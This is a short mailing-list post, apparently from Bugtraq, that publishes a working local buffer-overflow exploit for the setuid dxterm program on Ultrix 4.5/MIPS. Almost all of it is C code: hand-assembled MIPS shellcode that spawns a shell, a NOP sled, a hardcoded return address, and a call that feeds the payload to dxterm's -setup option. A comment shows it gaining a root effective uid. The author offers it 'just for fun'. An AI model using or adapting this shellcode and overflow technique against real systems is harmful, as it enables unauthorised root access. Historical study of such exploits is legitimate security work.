Well,

I hadn't seen a buffer overflow exploit for ultrix on bugtraq, so I
decided to make one. I don't think anyone is using ultrix seriously
anymore, so this is just for fun ;).

-- cut here --

/* Ultrix 4.5/MIPS dxterm exploit
   by ztion in 2004
   Greets to: Stok, sidez

   It wasn't possible to use '/' in the shellcode. Probably dxterm only
   copies everything after the last slash, as it expects a path.
   Since everything is pretty much hardcoded, you will probably have to
   tweak it for versions other than 4.5

   nora> ./ultrix_dxterm_4.5_exploit
   $ id
   uid=268(ztion) gid=15(users)euid=0(root)
 */

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
  0x69,0x6e,0x19,0x3c,  /* lui   $t9, 0x6e69 */
  0x2e,0x61,0x39,0x37,  /* ori   $t9, $t9, 0x612e */
  0x38,0x01,0xb6,0x23,  /* addi   $s6, $sp, 312 */
  0x01,0x01,0x39,0x23,  /* addi   $t9, $t9, 0x0101 */
  0xf0,0xfe,0xd9,0xae,  /* sw   $t9, -272($s6) */
  0x73,0x68,0x19,0x3c,  /* lui   $t9, 0x6873 */
  0x11,0x11,0x06,0x24,  /* li   $a2, 0x1111 */
  0x11,0x11,0xc6,0x38,  /* xori   $a2, $a2, 0x1111 */
  0x2e,0x2e,0x39,0x37,  /* ori   $t9, $t9, 0x2e2e */
  0xf0,0xfe,0xc4,0x26,  /* addiu $a0, $s6, -272 */
  0x01,0x01,0x39,0x23,  /* addi   $t9, $t9, 0x0101 */
  0x3f,0x01,0x02,0x24,  /* li   $v0, 319 */
  0xfc,0xfe,0x42,0x20,  /* addi   $v0, $v0, -260 */
  0xf4,0xfe,0xd9,0xae,  /* sw   $t9, -268($s6) */
  0xe8,0xfe,0xc4,0xae,  /* sw   $a0, -280($s6) */
  0xf8,0xfe,0xc6,0xae,  /* sw   $a2, -264($s6) */
  0xec,0xfe,0xc6,0xae,  /* sw   $a2, -276($s6) */
  0xe8,0xfe,0xc5,0x26,  /* addiu $a1, $s6, -280 */
  0xcc,0xff,0xff,0x01  /* syscall */

};

int main(void)
{
  char buf[256];
  int i;


  memset (buf, 2, 255);
  i = 0;
  while (i <= 8) {
    ((int *)(buf+1))[i] = NOP;
    i++;
  }

  memcpy (buf+33, shellcode, sizeof(shellcode));

  ((int *)(buf+3))[29] = RET;
  /* 119 - 122 is the return address */
  buf[123] = '\0';

  execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}


--
/Kristoffer Brånemyr